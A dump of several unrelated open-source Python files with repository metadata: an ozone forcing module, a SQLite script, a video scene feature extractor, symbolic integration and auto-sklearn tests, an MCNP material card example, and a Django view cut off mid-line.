from __future__ import division import numpy as np from ..constants import molwt def regress(emissions, beta=np.array([2.8249e-4, 1.0695e-4, -9.3604e-4, 99.7831e-4])): """Calculates tropospheric ozone forcing from precursor emissions. Inputs: (nt x 40) emissions array Keywords: beta: 4-element array of regression coefficients of precursor radiative efficiency, W m-2 (Mt yr-1)-1. order is [CH4, CO, NMVOC, NOx] Outputs: tropospheric ozone ERF time series. """ if emissions.ndim==2: em_CH4, em_CO, em_NMVOC, em_NOx = emissions[:,[3, 6, 7, 8]].T else: em_CH4, em_CO, em_NMVOC, em_NOx = emissions[[3, 6, 7, 8]] F_CH4 = beta[0] * em_CH4 F_CO = beta[1] * em_CO F_NMVOC = beta[2] * em_NMVOC F_NOx = beta[3] * em_NOx F = F_CH4 + F_CO + F_NMVOC + F_NOx return F def cmip6_stevenson(emissions, C_CH4, T=0, feedback=False, PI=np.array([722, 170, 10, 4.29]), beta=np.array([1.77871043e-04, 5.80173377e-05, 2.09151270e-03, 1.94458719e-04])): """Calculates tropospheric ozone forcing from precursor emissions based on Stevenson et al, 2013 10.5194/acp-13-3063-2013 Inputs: emissions: (nt x 40) numpy array C_CH4 : (nt) numpy array of methane concentrations, ppb Keywords: T : change in surface temperature since pre-industrial feedback : True or False - include temperature feedback on ozone forcing? PI: : 4-element array of pre-industrial CH4 concentrations, CO emissions, NMVOC emissions and NOx emissions beta: : coefficients of how CH4 concentrations, CO emissions, NMVOC emissions and NOx emissions affect forcing Outputs: tropospheric ozone ERF time series. """ # expand to 2D/1D if not already if emissions.ndim == 1: nspec = len(emissions) emissions = emissions.reshape((1, nspec)) if np.isscalar(C_CH4): C_CH4 = np.ones(1)*C_CH4 year, em_CO, em_NMVOC, em_NOx = emissions[:,[0, 6, 7, 8]].T nt = len(year) F_CH4, F_CO, F_NMVOC, F_NOx = np.zeros((4,nt)) for i in range(nt): F_CH4[i] = beta[0] * (C_CH4[i]-PI[0]) F_CO[i] = beta[1] * (em_CO[i]-PI[1]) F_NMVOC[i] = beta[2] * (em_NMVOC[i]-PI[2]) F_NOx[i] = beta[3] * (em_NOx[i]-PI[3]) # Include the effect of climate feedback? We fit a curve to the 2000, 2030 # and 2100 best estimates of feedback based on middle-of-the-road # temperature projections. def temperature_feedback(T, a=0.03189267, b=1.34966941, c=-0.03214807): if T<=0: return 0 else: return a*np.exp(-b*T)+c if feedback: F = F_CH4 + F_CO + F_NMVOC + F_NOx + temperature_feedback(T) else: F = F_CH4 + F_CO + F_NMVOC + F_NOx return F def stevenson(emissions, C_CH4, T=0, feedback=False, fix_pre1850_RCP=False, PI=np.array([722, 170, 10, 4.29])): """Calculates tropospheric ozone forcing from precursor emissions based on Stevenson et al, 2013 10.5194/acp-13-3063-2013 Inputs: emissions: (nt x 40) numpy array C_CH4 : (nt) numpy array of methane concentrations, ppb Keywords: T : change in surface temperature since pre-industrial feedback : True or False - include temperature feedback on ozone forcing? fix_pre1850_RCP: Use different relationship for 1750/65 to 1850 based on anthropogenic emissions from Skeie et al (2011) for 1750 (atmos-chem-phys.net/11/11827/2011) PI: : 4-element array of pre-industrial CH4 concentrations, CO emissions, NMVOC emissions and NOx emissions Outputs: tropospheric ozone ERF time series. """ # expand to 2D/1D if not already if emissions.ndim == 1: nspec = len(emissions) emissions = emissions.reshape((1, nspec)) if np.isscalar(C_CH4): C_CH4 = np.ones(1)*C_CH4 # numbers in denominator are 2000-1750 concs or emissions used in # Stevenson and traced back to Lamarque et al 2010 for 2000 # https://www.atmos-chem-phys.net/10/7017/2010/ year, em_CO, em_NMVOC, em_NOx = emissions[:,[0, 6, 7, 8]].T nt = len(year) F_CH4, F_CO, F_NMVOC, F_NOx = np.zeros((4,nt)) for i in range(nt): if year[i]>=1850 or fix_pre1850_RCP==False: F_CH4[i] = 0.166/960 * (C_CH4[i]-PI[0]) F_CO[i] = 0.058/681.8 * (em_CO[i]-PI[1]) F_NMVOC[i] = 0.035/155.84 * (em_NMVOC[i]-PI[2]) F_NOx[i] = 0.119/61.16 * (em_NOx[i] * molwt.NO / molwt.N - PI[3]) # The RCP scenarios give a negative forcing prior to ~1780. This is # because the anthropogenic emissions are given to be zero in RCPs but # not zero in the Skeie numbers which are used here. This can be fixed # to give a more linear behaviour. else: F_CH4[i] = 0.166/960 * (C_CH4[i]-722) F_CO[i] = 0.058/681.8 * 215.59 * em_CO[i] / 385.59 F_NMVOC[i] = 0.035/155.84 * 51.97 * em_NMVOC[i] / 61.97 F_NOx[i] = 0.119/61.16 * 7.31 * (em_NOx[i] * molwt.NO / molwt.N) / 11.6 # Include the effect of climate feedback? We fit a curve to the 2000, 2030 # and 2100 best estimates of feedback based on middle-of-the-road # temperature projections. def temperature_feedback(T, a=0.03189267, b=1.34966941, c=-0.03214807): if T<=0: return 0 else: return a*np.exp(-b*T)+c if feedback: F = F_CH4 + F_CO + F_NMVOC + F_NOx + temperature_feedback(T) else: F = F_CH4 + F_CO + F_NMVOC + F_NOx return F

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78

0.586224

911

5,967

3.731065

0.231614

0.015299

0.014122

0.014416

0.702265

0.69138

0.644307

0.600177

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0.306016

5,967

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null

0

1

0

null

0

1

7c67a7fccb58ad0744513e429cedf4044452005e

311

py

Python

databases/music.py

danielicapui/programa-o-avancada

d0e5b876b951ae04a46ffcda0dc0143e3f7114d9

[ "MIT" ]

null

databases/music.py

danielicapui/programa-o-avancada

d0e5b876b951ae04a46ffcda0dc0143e3f7114d9

[ "MIT" ]

null

databases/music.py

danielicapui/programa-o-avancada

d0e5b876b951ae04a46ffcda0dc0143e3f7114d9

[ "MIT" ]

null

from utills import * conn,cur=start('music') criarTabela("tracks","title text,plays integer") music=[('trunder',20), ('my way',15)] insertInto("tracks","title,plays",music) #cur.executemany("insert into tracks (title,plays) values (?,?)",music) buscaTabela("tracks","title") conn.commit() conn.close()

25.916667

71

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0.148837

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null

1

0

null

0

1

7c684d5c56bbbdacbeb8612a9b08130a83635f9a

13,250

py

Python

video_analysis/code/scene_postprocess.py

pdxcycling/carv.io

cce0f91a76d3ceed714b3625d415131fd9540899

[ "MIT" ]

null

video_analysis/code/scene_postprocess.py

pdxcycling/carv.io

cce0f91a76d3ceed714b3625d415131fd9540899

[ "MIT" ]

null

video_analysis/code/scene_postprocess.py

pdxcycling/carv.io

cce0f91a76d3ceed714b3625d415131fd9540899

[ "MIT" ]

null

import pandas as pd import numpy as np import re from collections import Counter from flow_preprocess import FlowPreprocess class ScenePostprocess(object): """ Heavy-lifting macro-feature class """ def __init__(self, flow_df, quality_df, remove_transitions=False): """ Default constructor Args: flow_df: Optical flow dataframe quality_df: Image quality dataframe remove_transitions: whether to remove frames around scene transitions Returns: Nothing """ self.flow_df = flow_df.copy() self.quality_df = quality_df.copy() self.remove_transitions = remove_transitions self.is_static = None self.duration = self.get_duration() self.num_frames = quality_df.shape[0] ## Do some rudimentary cleaning of/addding to the flow data self.flow_df['distance'] = FlowPreprocess.flow_distances(self.flow_df) self.flow_df['angle'] = FlowPreprocess.flow_angles(self.flow_df) ## Add scene-centric timestamps ## TODO: This has a few issues with actual start times... scene_time_offset = self.quality_df['time'].min() self.flow_df['time_scene'] = self.flow_df['time'] - scene_time_offset self.quality_df['time_scene'] = self.quality_df['time'] - scene_time_offset self.min_time_scene = self.quality_df['time_scene'].min() self.max_time_scene =self.quality_df['time_scene'].max() self.min_frame_num = self.quality_df['frame_number'].min() self.max_frame_num = self.quality_df['frame_number'].max() def _find_columns_by_name(self, df, name_re): """ Helper function to find binned features by the prefixes in their names Args: df: Dataframe name_re: regular expression for finding colmns Returns: List of columns that have names that match name_re """ output = [] cols = df.columns for c in cols: if re.search(name_re, c): output.append(c) return output def get_duration(self): """ Find scene duration (in seconds) Args: None Returns: Duration of scene in seconds """ min_time = np.min(self.quality_df['time']) max_time = np.max(self.quality_df['time']) return max_time - min_time def get_avg_blur(self): """ Find average blur across entire scene NOTE: The higher the number, the less the blur. Args: None Returns: Average blur as single float value """ avg_blur = np.mean(self.quality_df['blur']) return avg_blur def get_blur_percentage(self, blur_threshold=100): """ Proportion of of frames in scene that are blurry. A frame is "blurry" if its average blur is below blur_threshold Args: blur_threshold: A float value that defines the threshold between blurry and non-blurry Returns: Flow value of the proportion of the scene's frames that are blurry """ blur_pct = 1. * np.sum(self.quality_df['blur'] < blur_threshold)/self.quality_df.shape[0] return blur_pct def get_top_colors(self, num_colors=10): """ Find the dominant colors in all frames across the scene NOTE: This can be sped if only a subset of frames are sampled. Need to run experiments on the optimal sampling rate. TODO: This approach should be changed in v2.0 Args: num_colors: The number of most common colors to return. This is 10 by default. Returns: Numpy array containing the most prevalent colors in the scene """ self.num_colors = num_colors max_color_array = np.array(str) cols = self._find_columns_by_name(self.quality_df, "hue") for frame_num in range(self.min_frame_num, self.max_frame_num + 1): frame_color_array = self.quality_df[cols].ix[frame_num].sort_values()[::-1].index.values[:self.num_colors] max_color_array = np.append(max_color_array, frame_color_array) ## Find most common colors color_count = Counter(max_color_array) return map(lambda x: x[0], color_count.most_common(self.num_colors)) def _get_values_from_bin_names(self, cols): """ From a list of columns representing bins, return a list of the values of those bins Args: cols: a list of column names of histogram bins Returns: A list of the value of each bin """ values = [] for c in cols: matches = re.search('_(\d+.\d+)', c) if matches: values.append(float(matches.groups(0)[0])) else: ## This should never happen, but just in case... values.append(None) return values def get_avg_saturation(self): """ Find the average saturation across all frames in the scene Args: None Returns: A float value of average scene saturation """ cols = self._find_columns_by_name(self.quality_df, "sat") vals = self._get_values_from_bin_names(cols) sums = self.quality_df[cols].sum() avg = np.sum((sums * vals).values)/np.sum(sums) return avg def get_avg_value(self): """ Find the average value (from HSV colorspace) across all frames in the scene Args: None Returns: A float value of average scene HSV value """ cols = self._find_columns_by_name(self.quality_df, "val") vals = self._get_values_from_bin_names(cols) sums = self.quality_df[cols].sum() avg = np.sum((sums * vals).values)/np.sum(sums) return avg def get_pixel_pct(self, col_name, frame_size=(480., 360.)): """ Calculates the number of pixels in a scene are in col_name Args: col_name: the name of column of interest frame_size: Returns: Proportion of pixels that are in the column of interest """ frame_pixels = frame_size[0] * frame_size[1] num_frames = self.quality_df.shape[0] total_pixels = frame_pixels * num_frames pixel_cnt = np.sum(self.quality_df[col_name]) return pixel_cnt / total_pixels """ vvv Flow calculations vvv """ def get_flow_percentile(self, percentile=0.5): """ Find the distance traveled by optical flow point, filtered by the specified percentile. Args: percentile: Flow distance percentile to return. Percentile is between 0 and 1. Returns: A float value of the flow distance """ return self.flow_df['distance'].quantile(percentile) def get_avg_flow(self): """ Find the average distance an optical flow point has traveled between frames. Args: None Returns: A float value of the average distance an optical flow point has traveled between frames """ return self.flow_df['distance'].mean() def get_shake(self): """ Return the shakiness of the scene. Shake is calculated by finding the median distance an optical flow point has traveled in each frame, and averaging these values. TODO: vector addition. Args: None. Returns: A float value representing the shakiness of a scene. """ if not self.flow_df.empty: shake = np.mean((self.flow_df.groupby('frame_number').median())['distance']) else: shake = 0 return shake def get_flow_angle(self): """ Find the average angle of travel of the optical flow points in a scene. Args: None Returns: A float value of the average optical flow angle """ return self.flow_df['angle'].mean() def get_flow_angle_std_dev(self): """ Find the standard devation of all optical flows in a scene Args: None Returns: A float value of the standard deviation of optical flow angle """ return self.flow_df['angle'].std() def is_static_scene(self, remove_transitions=False): """ Determines whether or not scene is a static scene (vs. action scene) TODO: Ignore some time around scene transitions because of fades. Ensure that scene is long enough. Args: remove_transitions: remove frames at beginning and end of scene Returns: A boolean value of whether a scene is static or not. """ is_static = None motion_threshold = 1 # one pixel of movement total_flow_points = self.flow_df.shape[0] ## number of frames in range thresholded_df = self.flow_df[self.flow_df['distance'] > motion_threshold].copy() if thresholded_df.empty: is_static = True else: ## Due to "artsy" transitions, ignore around beginning/end of scene if remove_transitions: ## Amount of transition time between scenes ## This could be a percentage... transition_time_buffer = 1 # in seconds ## Ensure that scene is long enough to remove buffer from analysis if self.max_time_scene > transition_time_buffer: thresholded_df = thresholded_df[thresholded_df['time_scene'] > transition_time_buffer] thresholded_df = thresholded_df[thresholded_df['time_scene'] < self.max_time_scene - transition_time_buffer] ## Do not remove transitions if scene is too short else: pass if not thresholded_df.empty: ##moving_flow_points = thresholded_df.shape[0] moving_frames = thresholded_df.groupby(by=['frame_number']).mean().shape[0] else: ##moving_flow_points = 0 moving_frames = 0 ##pts_ratio = 1. * moving_flow_points/self.num_frames pts_ratio = 1. * moving_frames/self.num_frames # less than 1 moving frame per 4 frames is_static = pts_ratio < .25 return is_static def num_trackable_points_per_frame(self): """ Find the total number of optical flow points that are trackable per frame. "Trackability" is defined as being able to find a specific optical flow point between frames. Args: None Returns: A dataframe with the number of trackable points, by frame. """ return self.flow_df.groupby('frame_number').size() def avg_num_trackable_points_per_frame(self): """ Find the average number of optical flow points that are trackable, over all frames in the frame. "Trackability" is defined as being able to find a specific optical flow point between frames. Args: None Returns: A float value of the average number of trackable optical flow points in all of the scene's frames """ return 1. * len(self.flow_df) / self.num_frames def to_df(self): """ Return a dataframe containing all features TODO: better type checking Args: None Returns: Dataframe with all features """ scene_df = pd.DataFrame(index=[0]) top_colors = self.get_top_colors() for n in range(self.num_colors): scene_df['top_color_' + str(n)] = top_colors[n] scene_df['avg_sat'] = self.get_avg_saturation() scene_df['avg_val'] = self.get_avg_value() scene_df['black_pixel_pct'] = self.get_pixel_pct('num_black_pixels') scene_df['white_pixel_pct'] = self.get_pixel_pct('num_white_pixels') scene_df['flow_percentile_25'] = self.get_flow_percentile(0.25) scene_df['flow_percentile_50'] = self.get_flow_percentile(0.25) scene_df['flow_percentile_75'] = self.get_flow_percentile(0.25) scene_df['flow_avg'] = self.get_avg_flow() scene_df['flow_angle'] = self.get_flow_angle() scene_df['flow_angle_std_dev'] = self.get_flow_angle_std_dev() scene_df['is_static_scene'] = self.is_static_scene() ##scene_df['action_peak_in_scene'] = None # where in scene does no scene_df['shake_coeff'] = self.get_shake() scene_df['avg_flow_pts_per_frame'] = self.avg_num_trackable_points_per_frame() scene_df['blur'] = self.get_avg_blur() scene_df['blur_pct'] = self.get_blur_percentage() scene_df['duration'] = self.get_duration() return scene_df

35.05291

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false

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0

null

0

null

0

1

0

1

7c6cc14ec8ce3c7dc9875cccdf742d57d079973d

10,181

py

Python

diofant/tests/integrals/test_heurisch.py

Electric-tric/diofant

92c4bf0ef301e5d6f0cfab545b036e1cb7de3c0a

[ "BSD-3-Clause" ]

1

2021-08-22T09:34:15.000Z

diofant/tests/integrals/test_heurisch.py

Electric-tric/diofant

92c4bf0ef301e5d6f0cfab545b036e1cb7de3c0a

[ "BSD-3-Clause" ]

null

diofant/tests/integrals/test_heurisch.py

Electric-tric/diofant

92c4bf0ef301e5d6f0cfab545b036e1cb7de3c0a

[ "BSD-3-Clause" ]

null

import pytest from diofant import (Add, Derivative, Ei, Eq, Function, I, Integral, LambertW, Piecewise, Rational, Sum, Symbol, acos, asin, asinh, besselj, cos, cosh, diff, erf, exp, li, log, pi, ratsimp, root, simplify, sin, sinh, sqrt, symbols, tan) from diofant.integrals.heurisch import components, heurisch, heurisch_wrapper __all__ = () x, y, z, nu = symbols('x,y,z,nu') f = Function('f') def test_components(): assert components(x*y, x) == {x} assert components(1/(x + y), x) == {x} assert components(sin(x), x) == {sin(x), x} assert components(sin(x)*sqrt(log(x)), x) == \ {log(x), sin(x), sqrt(log(x)), x} assert components(x*sin(exp(x)*y), x) == \ {sin(y*exp(x)), x, exp(x)} assert components(x**Rational(17, 54)/sqrt(sin(x)), x) == \ {sin(x), root(x, 54), sqrt(sin(x)), x} assert components(f(x), x) == \ {x, f(x)} assert components(Derivative(f(x), x), x) == \ {x, f(x), Derivative(f(x), x)} assert components(f(x)*diff(f(x), x), x) == \ {x, f(x), Derivative(f(x), x), Derivative(f(x), x)} def test_heurisch_polynomials(): assert heurisch(1, x) == x assert heurisch(x, x) == x**2/2 assert heurisch(x**17, x) == x**18/18 def test_heurisch_fractions(): assert heurisch(1/x, x) == log(x) assert heurisch(1/(2 + x), x) == log(x + 2) assert heurisch(1/(x + sin(y)), x) == log(x + sin(y)) # Up to a constant, where C = 5*pi*I/12, Mathematica gives identical # result in the first case. The difference is because diofant changes # signs of expressions without any care. # XXX ^ ^ ^ is this still correct? assert heurisch(5*x**5/( 2*x**6 - 5), x) in [5*log(2*x**6 - 5) / 12, 5*log(-2*x**6 + 5) / 12] assert heurisch(5*x**5/(2*x**6 + 5), x) == 5*log(2*x**6 + 5) / 12 assert heurisch(1/x**2, x) == -1/x assert heurisch(-1/x**5, x) == 1/(4*x**4) def test_heurisch_log(): assert heurisch(log(x), x) == x*log(x) - x assert heurisch(log(3*x), x) == -x + x*log(3) + x*log(x) assert heurisch(log(x**2), x) in [x*log(x**2) - 2*x, 2*x*log(x) - 2*x] def test_heurisch_exp(): assert heurisch(exp(x), x) == exp(x) assert heurisch(exp(-x), x) == -exp(-x) assert heurisch(exp(17*x), x) == exp(17*x) / 17 assert heurisch(x*exp(x), x) == x*exp(x) - exp(x) assert heurisch(x*exp(x**2), x) == exp(x**2) / 2 assert heurisch(exp(-x**2), x) is None assert heurisch(2**x, x) == 2**x/log(2) assert heurisch(x*2**x, x) == x*2**x/log(2) - 2**x*log(2)**(-2) assert heurisch(Integral(x**z*y, (y, 1, 2), (z, 2, 3)).function, x) == (x*x**z*y)/(z+1) assert heurisch(Sum(x**z, (z, 1, 2)).function, z) == x**z/log(x) def test_heurisch_trigonometric(): assert heurisch(sin(x), x) == -cos(x) assert heurisch(pi*sin(x) + 1, x) == x - pi*cos(x) assert heurisch(cos(x), x) == sin(x) assert heurisch(tan(x), x) in [ log(1 + tan(x)**2)/2, log(tan(x) + I) + I*x, log(tan(x) - I) - I*x, ] assert heurisch(sin(x)*sin(y), x) == -cos(x)*sin(y) assert heurisch(sin(x)*sin(y), y) == -cos(y)*sin(x) # gives sin(x) in answer when run via setup.py and cos(x) when run via py.test assert heurisch(sin(x)*cos(x), x) in [sin(x)**2 / 2, -cos(x)**2 / 2] assert heurisch(cos(x)/sin(x), x) == log(sin(x)) assert heurisch(x*sin(7*x), x) == sin(7*x) / 49 - x*cos(7*x) / 7 assert heurisch(1/pi/4 * x**2*cos(x), x) == 1/pi/4*(x**2*sin(x) - 2*sin(x) + 2*x*cos(x)) assert heurisch(acos(x/4) * asin(x/4), x) == 2*x - (sqrt(16 - x**2))*asin(x/4) \ + (sqrt(16 - x**2))*acos(x/4) + x*asin(x/4)*acos(x/4) def test_heurisch_hyperbolic(): assert heurisch(sinh(x), x) == cosh(x) assert heurisch(cosh(x), x) == sinh(x) assert heurisch(x*sinh(x), x) == x*cosh(x) - sinh(x) assert heurisch(x*cosh(x), x) == x*sinh(x) - cosh(x) assert heurisch( x*asinh(x/2), x) == x**2*asinh(x/2)/2 + asinh(x/2) - x*sqrt(4 + x**2)/4 def test_heurisch_mixed(): assert heurisch(sin(x)*exp(x), x) == exp(x)*sin(x)/2 - exp(x)*cos(x)/2 def test_heurisch_radicals(): assert heurisch(1/sqrt(x), x) == 2*sqrt(x) assert heurisch(1/sqrt(x)**3, x) == -2/sqrt(x) assert heurisch(sqrt(x)**3, x) == 2*sqrt(x)**5/5 assert heurisch(sin(x)*sqrt(cos(x)), x) == -2*sqrt(cos(x))**3/3 y = Symbol('y') assert heurisch(sin(y*sqrt(x)), x) == 2/y**2*sin(y*sqrt(x)) - \ 2*sqrt(x)*cos(y*sqrt(x))/y assert heurisch_wrapper(sin(y*sqrt(x)), x) == Piecewise( (0, Eq(y, 0)), (-2*sqrt(x)*cos(sqrt(x)*y)/y + 2*sin(sqrt(x)*y)/y**2, True)) y = Symbol('y', positive=True) assert heurisch_wrapper(sin(y*sqrt(x)), x) == 2/y**2*sin(y*sqrt(x)) - \ 2*sqrt(x)*cos(y*sqrt(x))/y def test_heurisch_special(): assert heurisch(erf(x), x) == x*erf(x) + exp(-x**2)/sqrt(pi) assert heurisch(exp(-x**2)*erf(x), x) == sqrt(pi)*erf(x)**2 / 4 def test_heurisch_symbolic_coeffs(): assert heurisch(1/(x + y), x) == log(x + y) assert heurisch(1/(x + sqrt(2)), x) == log(x + sqrt(2)) assert simplify(diff(heurisch(log(x + y + z), y), y)) == log(x + y + z) def test_heurisch_symbolic_coeffs_1130(): y = Symbol('y') assert heurisch_wrapper(1/(x**2 + y), x) == Piecewise( (-1/x, Eq(y, 0)), (-I*log(x - I*sqrt(y))/(2*sqrt(y)) + I*log(x + I*sqrt(y))/(2*sqrt(y)), True)) y = Symbol('y', positive=True) assert heurisch_wrapper(1/(x**2 + y), x) in [I/sqrt(y)*log(x + sqrt(-y))/2 - I/sqrt(y)*log(x - sqrt(-y))/2, I*log(x + I*sqrt(y)) / (2*sqrt(y)) - I*log(x - I*sqrt(y))/(2*sqrt(y))] def test_heurisch_hacking(): assert (heurisch(sqrt(1 + 7*x**2), x, hints=[]) == x*sqrt(1 + 7*x**2)/2 + sqrt(7)*asinh(sqrt(7)*x)/14) assert (heurisch(sqrt(1 - 7*x**2), x, hints=[]) == x*sqrt(1 - 7*x**2)/2 + sqrt(7)*asin(sqrt(7)*x)/14) assert (heurisch(1/sqrt(1 + 7*x**2), x, hints=[]) == sqrt(7)*asinh(sqrt(7)*x)/7) assert (heurisch(1/sqrt(1 - 7*x**2), x, hints=[]) == sqrt(7)*asin(sqrt(7)*x)/7) assert (heurisch(exp(-7*x**2), x, hints=[]) == sqrt(7*pi)*erf(sqrt(7)*x)/14) assert heurisch(1/sqrt(9 - 4*x**2), x, hints=[]) == asin(2*x/3)/2 assert heurisch(1/sqrt(9 + 4*x**2), x, hints=[]) == asinh(2*x/3)/2 assert heurisch(li(x), x, hints=[]) == x*li(x) - Ei(2*log(x)) def test_heurisch_function(): assert heurisch(f(x), x) is None def test_heurisch_wrapper(): f = 1/(y + x) assert heurisch_wrapper(f, x) == log(x + y) f = 1/(y - x) assert heurisch_wrapper(f, x) == -log(x - y) f = 1/((y - x)*(y + x)) assert heurisch_wrapper(f, x) == \ Piecewise((1/x, Eq(y, 0)), (log(x + y)/2/y - log(x - y)/2/y, True)) # issue sympy/sympy#6926 f = sqrt(x**2/((y - x)*(y + x))) assert heurisch_wrapper(f, x) == x*sqrt(x**2)*sqrt(1/(-x**2 + y**2)) \ - y**2*sqrt(x**2)*sqrt(1/(-x**2 + y**2))/x def test_sympyissue_3609(): assert heurisch(1/(x * (1 + log(x)**2)), x) == I*log(log(x) + I)/2 - \ I*log(log(x) - I)/2 # These are examples from the Poor Man's Integrator # http://www-sop.inria.fr/cafe/Manuel.Bronstein/pmint/examples/ def test_pmint_rat(): # TODO: heurisch() is off by a constant: -3/4. Possibly different permutation # would give the optimal result? def drop_const(expr, x): if expr.is_Add: return Add(*[ arg for arg in expr.args if arg.has(x) ]) else: return expr f = (x**7 - 24*x**4 - 4*x**2 + 8*x - 8)/(x**8 + 6*x**6 + 12*x**4 + 8*x**2) g = (4 + 8*x**2 + 6*x + 3*x**3)/(x**5 + 4*x**3 + 4*x) + log(x) assert drop_const(ratsimp(heurisch(f, x)), x) == g def test_pmint_trig(): f = (x - tan(x)) / tan(x)**2 + tan(x) g = -x**2/2 - x/tan(x) + log(tan(x)**2 + 1)/2 assert heurisch(f, x) == g @pytest.mark.slow # 8 seconds on 3.4 GHz def test_pmint_logexp(): f = (1 + x + x*exp(x))*(x + log(x) + exp(x) - 1)/(x + log(x) + exp(x))**2/x g = log(x**2 + 2*x*exp(x) + 2*x*log(x) + exp(2*x) + 2*exp(x)*log(x) + log(x)**2)/2 + 1/(x + exp(x) + log(x)) # TODO: Optimal solution is g = 1/(x + log(x) + exp(x)) + log(x + log(x) + exp(x)), # but Diofant requires a lot of guidance to properly simplify heurisch() output. assert ratsimp(heurisch(f, x)) == g @pytest.mark.slow # 8 seconds on 3.4 GHz def test_pmint_erf(): f = exp(-x**2)*erf(x)/(erf(x)**3 - erf(x)**2 - erf(x) + 1) g = sqrt(pi)*log(erf(x) - 1)/8 - sqrt(pi)*log(erf(x) + 1)/8 - sqrt(pi)/(4*erf(x) - 4) assert ratsimp(heurisch(f, x)) == g def test_pmint_LambertW(): f = LambertW(x) g = x*LambertW(x) - x + x/LambertW(x) assert heurisch(f, x) == g @pytest.mark.xfail def test_pmint_besselj(): # TODO: in both cases heurisch() gives None. Wrong besselj() derivative? f = besselj(nu + 1, x)/besselj(nu, x) g = nu*log(x) - log(besselj(nu, x)) assert simplify(heurisch(f, x) - g) == 0 f = (nu*besselj(nu, x) - x*besselj(nu + 1, x))/x g = besselj(nu, x) assert simplify(heurisch(f, x) - g) == 0 @pytest.mark.slow def test_pmint_WrightOmega(): def omega(x): return LambertW(exp(x)) f = (1 + omega(x) * (2 + cos(omega(x)) * (x + omega(x))))/(1 + omega(x))/(x + omega(x)) g = log(x + LambertW(exp(x))) + sin(LambertW(exp(x))) assert heurisch(f, x) == g def test_RR(): # Make sure the algorithm does the right thing if the ring is RR. See # issue sympy/sympy#8685. assert heurisch(sqrt(1 + 0.25*x**2), x, hints=[]) == \ 0.5*x*sqrt(0.25*x**2 + 1) + 1.0*asinh(0.5*x) # TODO: convert the rest of PMINT tests: # Airy functions # f = (x - AiryAi(x)*AiryAi(1, x)) / (x**2 - AiryAi(x)**2) # g = Rational(1,2)*ln(x + AiryAi(x)) + Rational(1,2)*ln(x - AiryAi(x)) # f = x**2 * AiryAi(x) # g = -AiryAi(x) + AiryAi(1, x)*x # Whittaker functions # f = WhittakerW(mu + 1, nu, x) / (WhittakerW(mu, nu, x) * x) # g = x/2 - mu*ln(x) - ln(WhittakerW(mu, nu, x))

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7c70c6e774d6a8ca53417d3cc9999e257be28aad

1,093

py

Python

test/test_pipeline/components/classification/test_passive_aggressive.py

vardaan-raj/auto-sklearn

4597152e3a60cd6f6e32719a3bef26e13951b102

[ "BSD-3-Clause" ]

1

2021-02-21T16:44:44.000Z

test/test_pipeline/components/classification/test_passive_aggressive.py

vardaan-raj/auto-sklearn

4597152e3a60cd6f6e32719a3bef26e13951b102

[ "BSD-3-Clause" ]

9

2021-02-12T17:52:34.000Z

2021-06-26T11:37:41.000Z

test/test_pipeline/components/classification/test_passive_aggressive.py

vardaan-raj/auto-sklearn

4597152e3a60cd6f6e32719a3bef26e13951b102

[ "BSD-3-Clause" ]

1

2021-07-06T23:02:42.000Z

import sklearn.linear_model from autosklearn.pipeline.components.classification.passive_aggressive import \ PassiveAggressive from .test_base import BaseClassificationComponentTest class PassiveAggressiveComponentTest(BaseClassificationComponentTest): __test__ = True res = dict() res["default_iris"] = 0.92 res["iris_n_calls"] = 5 res["default_iris_iterative"] = 0.92 res["iris_iterative_n_iter"] = 32 res["default_iris_proba"] = 0.29271032477461295 res["default_iris_sparse"] = 0.4 res["default_digits"] = 0.9156041287188829 res["digits_n_calls"] = 6 res["default_digits_iterative"] = 0.9156041287188829 res["digits_iterative_n_iter"] = 64 res["default_digits_binary"] = 0.9927140255009107 res["default_digits_multilabel"] = 0.90997912489192 res["default_digits_multilabel_proba"] = 1.0 res['ignore_hps'] = ['max_iter'] sk_mod = sklearn.linear_model.PassiveAggressiveClassifier module = PassiveAggressive step_hyperparameter = { 'name': 'max_iter', 'value': module.get_max_iter(), }

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7c79d2fe84aae88ef213fa559ea2499797887d57

959

py

Python

doc/gallery-src/analysis/run_blockMcnpMaterialCard.py

celikten/armi

4e100dd514a59caa9c502bd5a0967fd77fdaf00e

[ "Apache-2.0" ]

1

2021-05-29T16:02:31.000Z

doc/gallery-src/analysis/run_blockMcnpMaterialCard.py

celikten/armi

4e100dd514a59caa9c502bd5a0967fd77fdaf00e

[ "Apache-2.0" ]

null

doc/gallery-src/analysis/run_blockMcnpMaterialCard.py

celikten/armi

4e100dd514a59caa9c502bd5a0967fd77fdaf00e

[ "Apache-2.0" ]

null

""" Write MCNP Material Cards ========================= Here we load a test reactor and write each component of one fuel block out as MCNP material cards. Normally, code-specific utility code would belong in a code-specific ARMI plugin. But in this case, the need for MCNP materials cards is so pervasive that it made it into the framework. """ from armi.reactor.tests import test_reactors from armi.reactor.flags import Flags from armi.utils.densityTools import formatMaterialCard from armi.nucDirectory import nuclideBases as nb from armi import configure configure(permissive=True) _o, r = test_reactors.loadTestReactor() bFuel = r.core.getBlocks(Flags.FUEL)[0] for ci, component in enumerate(bFuel, start=1): ndens = component.getNumberDensities() # convert nucName (str) keys to nuclideBase keys ndensByBase = {nb.byName[nucName]: dens for nucName, dens in ndens.items()} print("".join(formatMaterialCard(ndensByBase, matNum=ci)))

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null

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1

7c7e5ef5e8a7277261b9729c9f251391fd2d29dc

1,415

py

Python

apps/goods/views_base.py

sunwei19910119/DjangoShop

188102dc8ef9f4751f4eeeb7574e95c8cc270484

[ "MIT" ]

3

2018-08-22T02:41:55.000Z

2022-03-03T08:49:38.000Z

apps/goods/views_base.py

sunwei19910119/DjangoShop

188102dc8ef9f4751f4eeeb7574e95c8cc270484

[ "MIT" ]

null

apps/goods/views_base.py

sunwei19910119/DjangoShop

188102dc8ef9f4751f4eeeb7574e95c8cc270484

[ "MIT" ]

1

2019-10-23T12:24:08.000Z

# encoding: utf-8 from goods.models import Goods from django.views.generic.base import View class GoodsListView(View): def get(self, request): """ 通过django的view实现商品列表页 """ json_list = [] goods = Goods.objects.all()[:10] # for good in goods: # json_dict = {} # json_dict["name"] = good.name # json_dict["category"] = good.category.name # json_dict["market_price"] = good.market_price # json_dict["add_time"] = good.add_time # json_list.append(json_dict) # from django.http import HttpResponse # import json # return HttpResponse(json.dumps(json_list),content_type="application/json") from django.forms.models import model_to_dict for good in goods: json_dict = model_to_dict(good) json_list.append(json_dict) import json from django.core import serializers json_data = serializers.serialize('json', goods) json_data = json.loads(json_data) from django.http import HttpResponse, JsonResponse # jsonResponse做的工作也就是加上了dumps和content_type # return HttpResponse(json.dumps(json_data), 